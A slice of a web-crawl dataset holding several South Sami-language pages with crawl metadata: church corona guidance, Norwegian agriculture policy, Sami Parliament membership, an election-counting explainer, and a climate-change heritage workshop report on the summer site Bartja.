ohtsedidh. Maahtah aaj ohtsedidh ajve sijjine jallh påastenummerinie guktie åålmegem gaavnedh sjïere dajvesne.\nFuelhkiebissiebiejjieh corona-tïjjesne\nDatne maadtoem jïh voelph bööreme fuelhkiebissiebeajjan – laavkome, provre jallh juvleme? Corona-tïjjesne maahtah daarpesjidh aavoe- jallh sårkoebissiebiejjiem sjïehtedidh. Lohkh vielie guktie maahtah darjodh – sæjroeh daaroengïelesne.\nDaarpesjh guaktegh soptsestalledh? Hearra barkosne. Jourhavande präst.\nJis såevmiegïelem soptsesth telefovnejoure Palveleva puhelin ræhpas dutnjien.\nTsïhkijehtieh digitaale tjoevkesem jallh rohkelassem tjaelieh svenskakyrkan.se\/be","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.svenskakyrkan.se\/defaultaspxid655194","date":"2021-03-03T05:32:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178365454.63\/warc\/CC-MAIN-20210303042832-20210303072832-00211.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":156,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laanteburrie jïh beapmoe\nNöörjen laanteburrien vihkielommes siebriedahkelaavenjasse lea hoksedh guktie nuekies, jearsoes jïh jeereldihkie beapmoeh hijven kvaliteeteste. Men laanteburrien gaavhtan dle almetjh aaj årroeh, jïh jieleme abpe laantem gååvnese, jïh aaj byjreseaevhkieh goh vaarjelimmie biologeles gellievoeteste, kultuvreeatneme jïh skåajjen jïh eatnemen funksjovne goh karbonevåarhkoe. Laanteburrie aaj vihkeles juktie aerpievuekien daajroem jïh kultuvrem vijriebasse sertedh.\nAkte politihkeles ulmie lea aktem jielije laanteburriem tjåadtjoehtidh abpe laantem. Fylhkenålma edtja viehkiehtidh dam nasjovnaale laanteburriepolitihkem tjïrrehtidh, viehkine bïevnesijstie, reereme tsavtshvierhtijste jïh voenges sjïehtedamme råajvarimmijste. Fylhkenålma edtja gaskem jeatjah\n- raerieh jïh viehkiem vedtedh tjïeltide\n- tjïeltide gïehtjedidh\n- klååkoeh gïetedidh tjïelten nænnoestimmine laanteburrielaaki sisnjeli\n- jeatjah regijovnale etaatigujmie jïh siebriejgujmie ektine barkedh juktie jielemem evtiedidh jåartaburrien jïh skåajjeburrien sisnjeli\n- viehkiehtidh nasjovnaale ulmieh jaksedh juktie ekologeles laantebårran jarkelidh\n- giehpiedimmiem gaertjiedidh ientjijste jïh sjïdtedehteles jåarteste jïh skåajjeste\nFylhkenålma aaj tjïelth, siebrieh, jielemeaktöörh jïh båantah bïhkede dej nuepiej bïjre mah byögkeles öörnegisnie gååvnesieh. Fylhkenålma darjomh dåarjede mah leah ektiedamme evtiedæmman jïh vaarjelæmman regijovnale beapmoekultuvrijste, daajroebïgkeme beapmoen bïjre jïh daajroe beapmoen jïh healsoen bïjre, joekoen maanaj jïh noeri vööste.\nJeatjah vihkeles byögkeles aktöörh laanteburrien sisnjelen leah\n- Laanteburrie- jïh beapmoedepartemeente\n- Staaten laanteburriereereme\n- Innovasjovne Nöörje\n- Beapmoevaaksjome","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Laanteburrie-jih-beapmoe\/","date":"2021-03-08T06:56:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178381989.92\/warc\/CC-MAIN-20210308052217-20210308082217-00300.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":181,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien stoerretjåanghkoe 39 tjirkijh veeljesuvvieh tjïjhtje veeljemegievlijste fïerhten njealjeden jaepien. Saemiedigkie stoerretjåanghkosne lea Saemiedigkien bijjemes årgaane jïh faamoe. Saemiedigkieraerie lea Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem stuvrie. Tom Sottinen (Bk) lea stoerretjåanghkoen åvtehkinie veeljesovveme. Stoerretjåanghkoen ståvrosne vïjhte lïhtsegh mah stoerretjåanghkoen tjirkijijstie jïh tjirkiji gaskem veeljesuvvieh. Lohkh vielie stoerretjåanghkoeståvroen bïjre. Saemiedigkie sov barkoem sjïehtede dej mieriej sisnjeli mah leah vadteme Lov om Sametinget og andre samiske rettsforhold (sameloven). Stoerretjåanghkoe saemiedigkien barkoeöörnegem nænnoste, njoelkedassigujmie jïh bïhkedassigujmie dejtie jeatjah darjoemidie mejtie Saemiedigkie stuvrie. Stoerretjåanghkoeh sïejhmemes njeeljh jaepien, Saemiedigkien stoerretjåanghkoesavkesne. Moenehtse- jïh stoerretjåanghkoeh 2020 jïh 2021 Daah leah tjirkijinie veeljesovveme Saemiedægkan boelhken 2017-2021: Tjirkiji gaskesadtemebïevnesh gaavnh gosse krirrienommem deadtah. Nöörjen saemiej rijhkesiebrie jïh Nöörjen saemiej rijhkesiebrie jïh Saemieåålmegi krirrie (ektielæstoe) Klemet Erland Hætta Mathis Nilsen Eira Sandra Andersen Eira Gunn Anita Jacobsen Nils Mikkelsen Utsi Karen Anette Anti Sandra Márjá West Niko Valkeapää Anne Henriette Nilut Runar Myrnes Balto Ann Karin Kvernmo Nora Marie Brandsfjell Bjørn Thomas Åhrén Tor Gunnar Nystad Aili Guttorm Piera Heaika Muotka Márjá-Liissa Partapuoli -12.03.21, Beaska Niillas 12.03.21- Jovna Vars Smuk Gaskoehkrirrie Elisabeth Erke Cecilie Hansen Jan Ole Klemet Hermansen Tor H. Mikkola Juhtijesaemielæstoe Berit Marie P. E. Eira Åarjel-Saemiej Gïelh (ÅaSG) Ellinor Marita Jåma Barkijekrirrie Tom Sottinen Ronny Wilhelmsen Synnøve Søndergaard Bjørn Inge Mo Arild Pettersen Inga John Kappfjell Jørn Are Gaski Nordkalottfolket Toril Bakken Kåven Kjellrun Wilhelmsen Árja Inger Eline Eriksen Fjellgren Guovdageainnu Dálon searvi Isak Mathis O. Hætta Åelkieskrirrie Lars Filip Paulsen Saemieåålmegi krirrie Ann-Elise Finbog Evtiedimmiekrirrie Arthur Tørfoss Krirriepolitihkeles ovjearohke Kåre Olli Bilder av Sametingets representanter 2017-2021 Representanter og vararepresentanter 2017-2021 (PDF, 133 kB) Liste over parlamentariske ledere\/gruppeledere for Sametingets partier og grupper (PDF, 206 kB) SistEndret12.03.2021 09.58","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/sametinget.no\/politihke\/politihkeles-oornedimmie-jih-stuvreme\/saemiedigkien-stoerretjaanghkoe\/","date":"2021-04-22T14:04:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039610090.97\/warc\/CC-MAIN-20210422130245-20210422160245-00023.warc.gz","language":"sma","language_score":0.9077385664,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9077385663986206, \"sme_Latn_score\": 0.09182794392108917}","num_words":262,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 23 november 2020\nLïhtsegh jïh sæjjasadtjh\nDaesnie bïevnesh guktie lïhtsegh jïh sæjjasadtjh Saemiedigkesne moenedh.\nFïerhten mandaatese Saemiedigkesne maam dåehkieh, partijh jallh plearoeh aktanimmieh åådtje leeneståvroe aktem lïhtsegem muana. Dan mænngan leeneståvroe aaj sæjjasadtjh lïhtsegidie muana.\nLïhtsegh\nVoestes ieresne persovnetjaatsestimmieh mah nænnoestieh\nDïhte voestes iereste persovnetjaatsestimmieh mah nænnoestieh kandidaath mah veeljesuvvieh.\nKrïeveme, dïhte sæjhta jiehtedh tsagkese, guktie persovnetjaatsestimmiej mietie lea kandidaate lea unnemes 5 prosenth partijen ellies tjaatsestimmielåhkoste åådtjeme, men unnemes 25 persovnetjaatsestimmieh.\nJis kandidaatenomme gååvnese gellie ovmessie læstojne seamma partijen åvteste dellie persovnetjaatsestimmieh aktanieh dejstie ovmessie læstojste.\nDejstie gïeh tsagkesem buektieh dïhte kandidaate mij jeenjemes persovnetjaatsestimmieh åådtjeme åådtje krirrien voestes mandaatem, dïhte mubpie jeenjemes persovnetjaatsestimmieh åådtje, åådtje mubpiem mandaatem, jïh novh vijrebe.\nJis jienebe kandidaath åadtjoeh seamma jïjnje tjaatsestimmieh dellie leeneståvroe vuerpiem geasa dej gaskem.\nJis krirrie åådtje jienebe mandaath enn kandidaath mah tsagkesem buakta persovnetjaatsestimmieh nuhtjie dam vuekiem maam gohtje elliestaalevuekie (gïehtjh dan nuelesne) gosse dah lïhtsegh mah aajmene muana.\nMubpie iereste veeljeme elliestaalevuekine\nElliestaalevuekie lea vuekie lïhtsegh nommehtidh mah eah persovnetjaatsestimmiej mietie veeljeme. Elliestaalevuekien sæjhta jiehtedh veeljemesïetelh öörnieh kandidaatenommi mietie mah tjåadtjoeh bijjemes jeenjemes veeljemesïetelh. Dan mænngan dah kandidaath mah veeljeme persovnetjaatsestimmiej viehkine laahpehtidh.\nJis krirrie læstoem åtna mandaath nommehtehtieh dennie raajrosne mah tjåådtje veeljemesïetelisnie.\nJis krirrie gellie læstoeh åtna sjædta ryöknemem jienebe barkoes. Dorje ryöknemem fïerhte mandaatese mij edtja nommehtehtedh. Fïerhten ryöknemen mænngan dellie vaeltieh nommem destie mij veeljesovveme jïh veeljemesïetelh viht öörnedh dej nommi mietie mah daelie bijjemes.\nOrre viertiestimmietaale båata båetije nomme læstosne gusnie nommem tjåadtjoeji mij mandaatem åadtjoeji. Dah mubpieh kandidaath mah bijjemes ennje utnieh dej viertiestimmietaalem. Dïhte nomme man daelie jollemes viertiestimmietaalem åtna åådtje mandaatem.\nJïh naemhtie ryöknemem jåarhka goske gaajhkh mandaath leah juakeme. Jis seammma viertiestimmietaalh göökte jallh jienebe kandidaati gaskem edtja sijjiem dej gaskem vuerpiedidh.\nSæjjasadtjh\nSæjjasadtje lea dïhte persovne man våarosne lïhtsegem veeljeme jis akte lïhtsege orrijidh mandaateboelhken mietie.\nFïerhte lïhtsegasse edtja seamma jïjnje sæjjasadtjh nommehtehtedh mah krirrie lea mandaath åådtjeme. Men edtja eejnegen unnemes golme sæjjasadtjh nommehtehtedh jïlhts krirrie åådtjeme vaenebe mandaath enn golme. Sæjjasadtje maahta årrodh sæjjasadtje gellie lïhtsegidie.\nVoestes iereste kandidaath nommehtehtedh mah tsagkesem buakteme persovnetjaatsestimmide sæjjasadtjide. Ryöknemh seamma vuekine goh gosse lïhtsegh persovnetjaatsestimmiej mietie nommehtehtedh, gïehtjh dan bijjene.\nMubpie iereste kandidaatem nommehtehtedh mij veeljeme lïhtsegen minngesne læstosne. Sïejhmemes sæjjasadtjh seamma vuekine nommehtehtedh, dan gaavhtan dah kandidaath mah tsagkesem buakteme persovnetjaatsestimmiej mietie joe leah lïhtsegh sjïdteme.\nRyöknemevuesiehtimmie – guktie lïhtsegh jïh sæjjasadtjh nommehtehtedh\nKrirrie X lin veeljemisnie göökte læstoeh kandidaatigujmie, nr 00100 jïh nr 00200\nKrirrie X ektesne åadtjoeji 410 tjaatsestimmieh. Dejstie åådtje golme mandaath. Tjaatsestimmieh naemhtie dejnie göökte læstojne juakeme:\nGuvvieh vuesiehtieh dejtie luhkie bijjemes nommide læstojne.\nVeeljemesïetele læstoe 00100 – 151 tjaatsestimmieh\n- Anders Andersson\n- Björn Baer\n- Carl Calais\n- David Denson\n- Eva Erlandsson\n- Fia Fjällman\n- Gerd Gunnarsson\n- Helena Harnek\n- Inga Ingelson\n- John Jansson\nVeeljemesïetele læstoe 00200 – 259 tjaatsestimmieh\n- Karin Kanna\n- Linn Loman\n- Mariann Monet\n- Nina Nutti\n- Olof Omma\n- Per Peter Pilvi\n- Quer Qvarts\n- Rakel Ranelid\n- Susanne Sikku\n- Tinna Tranström\nDaltesistie daltesasse – gïeh sjidtieh lïhtsegh?\n- Ryöknh tsagkesem persovnetjaatsestimmiej åvteste. Tsagkese persovnetjaatsestimmiej åvteste lea 5 proseenth krirrien tjaatsestimmijste. Dannasinie 5 proseenth 410 tjaatsestimmijste leah 21 tjaatsestimmieh sæjhta jiehtedh kandidaate Krirrie X tjuara unnemes 21 persovnetjaatsestimmieh guktie maahta veeljeme sjïdtedh persovnetjaatsestimmien mietie.\n- Lissine gååvnese krïeveme unnemes 25 persovnetjaatsestimmieh. Krirrie X tjuara unnemes 25 tjaatsestimmieh åadtjodh.\n- Vaaksjoeh gïeh leah tsagkesem persovnetjaatsestimmieh buakteme. Göökte kandidaath, Karin Kanna jïh Bjørn Baer, krïevemh dievhtieh guktie persovnetjaatsestimmiej mietie jïh dan gaavhtan lïhtsegidie nommehtahta.\n- Dan gaavhtan eah vielie kandidaath krïevemh dievhtieh persovnetjaatsestimmiej mietie edtja gåalmede mandaate nommehtahta elliestaalevuekien mietie.\n- Sleajhtah dah kandidaath mah mandaatem vaalteme jïh vuejnieh mah kandidaath daelie bijjemes læstojne. Bijjemes fïerhtene læstosne gosse dah göökte voestes mandaath leah deavhteme leah Anders Andersson (læstoe 00100) jïh Linn Loman (læstoe 00200).\n- Ryöknh viertiestimmietaalem dejtie kandidaatide mah bijjemes. Dej respektijve viertiestimmielåhkoeh leah seamma goh tjaatsestimmiej låhkoe fïerhte læstose, dïhte sæjhta jiehtedh 151 Anders Andersson:ese jïh 259 Linn Loman:ese.\n- Dïhte gie jollemes viertiestimmielåhkoem åtna, Linn Loman, dam gåalmede mandaatem åådtje.\nDaltesistie daltesasse – gïeh sæjjasadtjh sjidtieh?\n- Dïhte edtja eejnegen unnemes golme sæjjasadtjh moenedh. Akte persovne maahta sæjjasadtjem årrodh gellie lïhtsegidie.\n- Vaaksjoeh jis naan kandidaate maahta moenedh sæjjasadtjese persovne tjaatsestimmiej mietie. Vaestiedasse lea ijje, dah kandidaath mah tsagkesem bearkanin lea joe lïhtsegidie moeneme.\n- Dan gaavhtan dah lïhtsegh mah moeneme båetieh gåabpatjahkh læstojste åådtje Krirrie X göökte ovmessie dåehkieh sæjjasadtjide, dïhte sæjhta jiehtedh göökte guktie gohtje sæjjasadtjedåehkieh.\n- Karin Kannan jïh Linn Lomanen sæjjasadtjh sjidtieh dah golme mah lïhkemes dej minngesne læstosne nr 00200. Dah leah Marianne Monet, Nina Nutti jïh Olof Omma mah dovne Kannan jïh Lomanen sæjjasadtjh.\n- Björn Baeren sæjjasadtjh dah golme bijjemes læstosne nr 00100 mohte ij dïhte, dïhte sæjhta jiehtedh Anders Andersson, Carl Calais jïh David Denson. Dah leah ajve Baeren sæjjasadtjh.\nMandaatejuekeme laakesne\nGosse leeneståvroe lïhtsegidie tjuvtjiedidh lea dïhte njoelkedassi mietie 14. Kap 9 jïh 10 §§ veeljemelaakesne (2005:837) veeljemen bïjre rïjhkebeajjan.\nJis kandidaate edtja maehtedh veeljedh persovne tjaatsestimmiej mietie tjuara dïhte åådtjeme unnemes 25 persovne-tjaatsestimmieh.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/tjaatsestimmieh-ryoknedh-jih-veeljemeilleldahke\/lihtsegh-jih-saejjasadtjh.html","date":"2021-04-23T01:44:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039626288.96\/warc\/CC-MAIN-20210423011010-20210423041010-00037.warc.gz","language":"sma","language_score":0.999931097,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999310970306396}","num_words":760,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Walk and talk – reektehtasse barkoetjåanghkoste (workshop)\nAalkoe\nFïerhten biejjien vuejnebe guktie daelhkie jarkerostoe jïh mij destie sjædta. Dovne eatnamisnie jïh tjaetsesne bïjvelåbpoe, gellebh biejjieh sjïere daelhkine, værtojne jïh jihtseles ebrine, vaenebe biejjieh lopmine jallh orre sjædtoeh dejnie sijjine gusnie ij aerebe dejtie vuajneme, dah leah dagkerh væhtah mah bierkelieh guktie eatneme jarkerosteminie. Daelhkie mij jeatjahtahta mijjem aaj dievvede, vijride, almetjidie jïh dovne eatnemem jïh kultuvrebyjresidie.\nGaskem jaepide 2017 jïh 2020 prosjeekte \"Adapt Northern Heritage\" jåhta, guejmieh jïh ektiedimmes guejmieh Nöörjeste, Skottlaanteste, Islaanteste, Sveerjeste jïh Russlaanteste desnie meatan. Prosjeekte edtja meatan årrodh jïh båetije biejjiej kulturelle byjresh vaarjelidh mah vihkeles gosse edtja vïhtesjidh guktie daelhkie dejtie byjresidie joekedadta. Prosjeekten guejmiej ulmie daennie prosjeektesne leah universelle vierhkieh evtiedidh gosse daelhkie jarkerostoe jïh maehtedh vaahran- jïh hiejjiesvoeten joekehtehtemh gïetedidh jïh destie råajvarimmiesoejkesjh evtiedidh mejtie sjïehteladteme, mah stynkehke jïh båetije beajjan aaj nynnehke.\nStiftelse Gaaltije gïjreste 2018 meatan daennie prosjeektesne orreme. Dellie prosjeekten ektiedimmes guejmie Riksantikvarieämbetet Gaaltijem dïsse bööri. Prosjeekteste dellie vuajneme daennie barkosne daerpies aktem saemien kultuvrebyjresem meatan utnedh goh åvtelohkeme (pilotstudie) jïh dannasinie stiftelse Gaaltije meatan. Stiftelse Gaaltije dellie vaajteli Tåssåsen sïjte edtji meatan prosjeektesne årrodh, dannasinie dan sïjten giesiesijjie Bartja kultuvrebyjresem åtna mij rïjhkese vihkeles jïh sjïehteles lohkemesobjeektine. Dellie daerpies jïh reaktoe sïjte meatan jïh maahtoem sijjien bïjre bievnieh jïh mij desnie heannede gosse daelhkie jarkerostoe.\nDuekie\nMijjieh buerie sïejhme maahtoem utnebe, daejrebe daelhkie jarkerosteminie jïh mijjem stuvrie. Gellie reektehtassh internasjonaale orgaanijste jïh nasjonaale åajvaladtjijste goh FN-orgaane UNESCO jïh Riksantikvarieämbetet vuesiehtieh daerpies daam maahtoem jïh tjïelke råajvarimmiesoejkesjh aktanadtedh jis dejstie lïepedh jallh gïetedidh. Daelie, dovne Saemiedigkien råajvarimmiesoejkesjem daelhkien bïjre tjalmahtamme jïh daarpoem iemie-almetji våajnojste jïh maahtojste. Dejstie buajhkoes kultuvrebyjresistie ij man jeenh maahtoeh gååvnesieh daelhkien bïjre mij jarkerosteminie jïh guktie byjresh joekehtehtieh jïh guktie båetije beajjan sjædta. Seammalaakan aaj saemien kultuvrebyjresigujmie, gusnie fysiske jïh immaterijelle kultuvre-aerpieh holistiske systeemese aktanadteme. Vielie maahtoem daarpesjibie. Barkoetjåanghkojne prosjeekte sïjhteme goerehtalledh guktie saemien kultuvrebyjresh geerelgieh gosse daelhkie jarkerostoe jïh maahtoem buektedh guktie lïepedh, jallh unnemes guktie båetije beajjan dejtie gïetedidh. Tossåsenen sïjten giesiesijjie Bartja, Jïemhtesne, veeljesovveme lohkemesobjeektine gusnie prosjeekte sïjhteme aktem modeellem pryövedh maam desnie evtiedamme jïh vierhtiedidh maam darjodh gosse daelhkie jarkerostoe jïh geerelge jïh guktie dejtie edtja gïetedidh.\nSaemien definisjovne kultuvre-aerpijste\nSaemieh kultuvre-aerpide holistiske systeemen mietie vååjnoeh gusnie gellie biehkieh sinsitneste jearohks. Saemiedigkien definisjovne saemien kultuvre-aerpijste naemhtie; \"saemien almetji kultuvre jïh historije geografiske kontekstesne\". Buerkiestimmesne saemien kultuvre-aerpie naemhtie juakalgieh;\n- Materijelle kultuvre-aerpieh; eatnemen gaajhkh fysiske gïejh goh vg. bigkemh\n- Immatrijelle kultuvre-aerpieh; aerpievuekien maahtoe, soptsesh, vaajesh, byögkeles sijjieh jnv.\n- Biologiske kultuvre-aerpieh; nænnoestimmie guktie almetjh eatnemem nuhtjeme, vg. giedtaevjieh, göölvestahkh jnv.\nBarkoetjåanghkoe\nMïetsken 2018 Bartjesne tjåanghkenin desnie vaaksjoestidh jïh daelhkiejarkerostemh digkiedidh jïh guktie destie joekehtahteme. Åvtelen Bartjesne tjåanghkenin eelkin dej prosjeekten sïejhme vierhkiejgujmie tjåanghkoem soejkesjidh jïh digkiedidh. Dennie barkoetjåanghkosne aaj sïjhtin vuejnedh mejtie saemien kultuvrebyjresisnie lij nuepie aktem modeellem pryövedh vaahran- jïh hiejjiesvoeten joekehtehtiemasse.\nNaa varke tjïerte guarkaji ij saemien kultuvrebyjresisnie man aelhkie barre aktene sïejhme vierhkine vaaksjoestidh mij heannede. Dannasinie tjïerte raeriesti edtji dajvem vaaksjoestidh\"walk and talk\" jïh sïjteste bïevnesh, digkiedimmiej ektine ussjedidh jis dam maam vööjnin vierhtiedimmien maadtosne edtji årrodh.\nTossåsen sïjte bievniejinie lij jïh tjåanghkose bööredi. Aaj Stiftelse Gaaltijen almetjh meatan desnie. Prosjeekten guejmie jïh ektiedimmes guejmie jïh lïhkes åajvaladtjh tjåanghkoem tjalmahtin gusnie gellijste dejstie meatan;\n- Nöörjen Riksantikvare (prosjeekteguejmie)\n- Riksantikvarieämbetet (ektiedimmes guejmie)\n- Jïemhten Herjedaelien Leeneståvroe\n- Bïerjen tjïelte\nBartja\nKultuvrehistoriske buerkiestimmie\nBartja bïjlegeajnohth laantesne, naan kilomeeterh vaerievoenen Tossåsen luvhtie åarjeljillie Jïemhtesne Herjedaelien raasten lïhke. Bartja veeljesovveme rïjhkese vihkeles (byjrese man lea rïjhkese stoere aerpie) kultuvrebyjrese vaarjelæmman Sveerjesne. Bartja tossåsensaemiej giesiesijjie raakte vaerieraedtien vuelelen såekieboeltesne, gusnie gaaltijh jïh gueliejaevrieh eevre lïhke. Iejneles giesiesijjie. Gööthsijjieh, giedtaevjieh jïh boernh daaletje orresjen lïhke båeries historijem soptseste jïh daan beajjetjen gåetiej gaskesne båeries gööthsijjieh aerebe årrojistie soptsestieh. Daagkoe lïhke dovne giedtaevjieh jïh daaletje giedtieh. Lappfåvhtan våarhkoe jaepeste 1898 såårne Bartja dellie joe giesiesijji lij. Bartja sån nommeste barsje båata mij vaerieraedtie\"gustie dovne vaerieh jïh vuemieh vuajna\". Ienjeles nomme gosse Bartja dennie beavnardahkesne.\nKultuvre-aerpieh\nMijjen buerkiestimmesne Bartjan kultuvre-aerpien bïjre Saemiedigkien definisjovnem provhkebe.\nBartjan materijelle kultuvre-aerpieh\nBartjesne gaajhkh ovmessie bigkemh gååvnesieh, ovmessie derhviegåetijste daaletje gåetide. Gaajhkh daah sijjen tïjjeste jïh vuesiehtieh magkerh ïebnh jïh bigkemevuekieh dellie lij gosse dïhte derhviegåetie jallh gåetie tseegkesovvi. Jeenemes dejstie derhviegåetijste leah ovmessie otneresgåetieh, men aaj naan tsegkiegåetieh, gåetieh mah aerebe sïejhme, men ij man gellijste dejstie daelie aajmojne. Jeenemes dejstie derviegåetijste årromes gåetieh men aaj tjïejhte- jïh råafah gååvnesieh. Gosse jeenemasth Bartjesne årroejin dovne tjïejhth jïh hierkieh daennie orresjisnie utnin. Aaj gellie ovmessie buvrieh gååvnesieh.\nDah biologiske kultuvre-aerpieh\nÅnnetje orresjen dubpelen daaletje giedtie jïh gåatomegiedtie men aaj gïejh aeriebistie giedtijste. Ibie daejrieh man guhkiem Bartjam båatsose nuhtjeme, men dovletje mojhtesh goh gööthsijjieh jïh boernh jååktetje derhviegåetiej jïh daan beajjetje gåetiej lïhke vuesiehtieh daam sijjiem guhkede aejkeste provhkeme.\nGaaltijh\nGaaltijh lin daerpies jis daennie orresjisnie maehtedh årrodh jïh dan åvtese sån aaj daase orrijin. Daelie akte båeries gaaltije daesnie gååvnese jïh aktem maam aalkeme orrestehtedh.\nOrresjen jååskestahke\nEevre orresjen lïhke speatna gusnie beapmoeh provhkin båtnodh.\nDah immaterijelle kultuvre-aerpieh\nSaemiej holistiske jielemevåajnose dah immatrijelle kultuvre-aerpieh vihkeles bæjhkoehtidh gosse daelhkiejarkerostemem digkiedieh. Fysiske jarkerostemh mestie orre vuekieh sjidtieh maahta jielemem stuvredh vg. mejtie gaaltijh aerpievuekien maahtose gååvnesieh jallh mejtie sijjie gååvnese vihkeles soptsestidie.\nSoptsesidie\nAkte sijjie jïh guktie almetjh dïsse veadtasuvvieh gellie soptsesh guedtieh mah vihkeles aajne almetjasse jallh dåahkan kollektijvine. Soptsesisnie buerkiestieh vihkeles heannadimmieh, almetjh jallh myth jïh guktie jaahkoem krööhkestieh. Soptsesh leah vihkeles gåessie dåehkiem aktanadtedh, uhtjemes boelvi gaskem.\nAerpievuekien maahtoe\nSaemien seabradahkesne soptsestieh man vihkeles aerpievuekiem vaarjelidh jïh båetije boelvide bïhkedidh. Soptsesh leah aerpievuekien maahtoe. Dej mietie maahtoem eatnemen bïjre bïhkede, guktie eatnemem jïh sijjide nuhtjeme, guktie aerpievuekien teknihkem provhkeme jïh guktie maahta provhkedh, maahtoe bovtsen jïh jeatjah dyjri bïjre guktie dåemiedieh jïh stuvrieh.\nGïele\nDan immatrijelle kultuvre-aarpan mij stinkeslaakan kultuvrevuekien maahtose veadtaldihkie aaj dïhte gïele jïh guktie gïele nuhtjesåvva. Aerpievuekien baakojne jïh raajesinie klaerieh jïh goerkesh gååvnesieh mah maehtieh gaarvanidh jis ij aerpievuekien goerkesisnie nuhtjesuvvieh jïh aarvehtsasse veadtaldihkie.\nAerebe daelhkiejarkerostemh\nBartja lea jïh orreme, akte byjrese mij iktegisth jeatjahtahteme. Mijjen haestemh gosse jarkerostoe ij man aelhkie vuejnedh mah daelhkiejarkerostemh daan biejjien maahtojne leah jïh maam daelie krööhkestibie aaj mij aerebe heannadamme. Evtemes sjædtoeh jïh guktie sjidtieh mah jeatjahtahteme, gusnie moerh, stråmhpoeh jïh jeatjah sjædtoeh orre sijjine sjidtieh gusnie ij aerebe nuepie dejtie orreme sjïdtedh. Ij barre vaeriesåekieh mij bijjiebisnie sijjine gaavneme, aaj bietsieh jïh måedtieh stråmhpoeh vuajneme. Dah fysiske jarkerostemh leah aerebe, jïh aaj daelie orresjen nuhtjemem jeatjahtahteme.\nDaelie\nGöökteluhkie jaepieh daan åvtelen Bartja mahte slaameminie. Sïjten dah almetjh såemies kultuvre-institusjovnine ektine dellie vööjnin daerpies dovne bigkemh jïh byjresem gorredidh jïh dellie aktene prosjeektine eelkin guktie orresjem davvoehtidh. Dejnie båetije jaepine orresjen dejtie bigkemh davvoehtin jïh vesnjeskem njeevhrin. Prosjeekten mænngan Tossåsen sïjte orresjen dajvem ahkedh geehtie jïh röönjie. Daejnie barkojne aaj aerebe giedtaevjieh vihth vååjnehtahkese. Daelie daamhtah berkieh dejtie gaaltijidie jïh derhviegåetide jïh bigkemh gorredidh jïh dovne orre daaletje gåetieh tsegkieh. Daan biejjien Bartja joekoen giesiesijjie. Daelie evtemes giesege daesnie gosse mieside mïerhkesjieh.\nGuktie daelie gosse daelhkie jarkerostoe jïh geerelge\nDam maam daelie vuejnieh gosse daelhkiejarkerostemh digkiedieh aaj Bartjesne vuajneme.\nBïjvelåbpoe; dovne krööhkeste jïh damta bïjvelåbpoe sjïdteme. Vuajneme dah speatnah gusnie beapmoeh botnin jallh gusnie krievviem tjåadtjoehtehtin ij vielie jaepesne aajmojne.\nGaaje daelhkie; daelhkie jorkeståvva ovmessie joekoen veareldi gaskem.\n- Temperatuvre daamhtah maahta åenehks bodtine jorkesidh galme- jïh bïjvelesgraadi gaskem jïh dellie gåatome beajsta.\n- Vuejnieh daelie aaj daamhtah gåaltoe.\nMoereraasth jorkestuvvieh; daesnie vuajneme dovne bietsieh bijjiebisnie vaerieraedtine sjidtieh. Aaj jeatjah sjædtoeh daelie maehtieh bijjiebisnie sjïdtedh.\nÅhtoeh; gosse daelhkie jarkerostoe aaj orre åhtoeh vuajneme. Dej minngemes jaepiej vg. Bartjesne lastemååjegh mahte gaajhkide vaeriesåekide jamhkelamme.\nSaemien vååjnesistie\nSaemien kultuvresne eatnemem ååkteme jïh vierhtide mestie jeala. Saemieh jïjtsh våajnoem eatnamasse utnieh jïh mij heannede gosse jorkesåvva. Saemide iemie baajedh derhviegåetieh guhkies åtnoste slaamedh jïh eatnamasse sjïdtedh jallh aerebe dajvh maam nuhtjeme jïh ij vielie daarpesjieh, jallh dajvh maam aerebe nuhtjeme baajedh årrodh guhkiebasse gossege sjidtieh guktie aerebe. Saemide vihkeles eah edtjh dejtie båetije boelvide stirrelgåetedh jallh mestie joem gaertjiedidh dagkaristie mejtie jååktan darjoejin.\nBovtse båatsoesaemide stuvrie, jïh gosse eatneme jorkesåvva dïhte aaj bovtsem stuvrie jïh dellie bovtse jïh jeatjah dyjrh dïsse sjïehteluvvieh. Jis gåatomes jïh aales bovtse aaj stööves. Suehpede dan seamma sæjjan, gååte seamma dajvine, mænna dej seamma gyöjnedahki mietie jnv. Jis bovtse daejtie viejsjide tjuara jeatjahtehtedh ij barre bovtse dïhte jeatjahtåvva, dellie aaj båatsoesaemieh jïh sïjte jeatjahtuvvieh. Kaanne sïjte 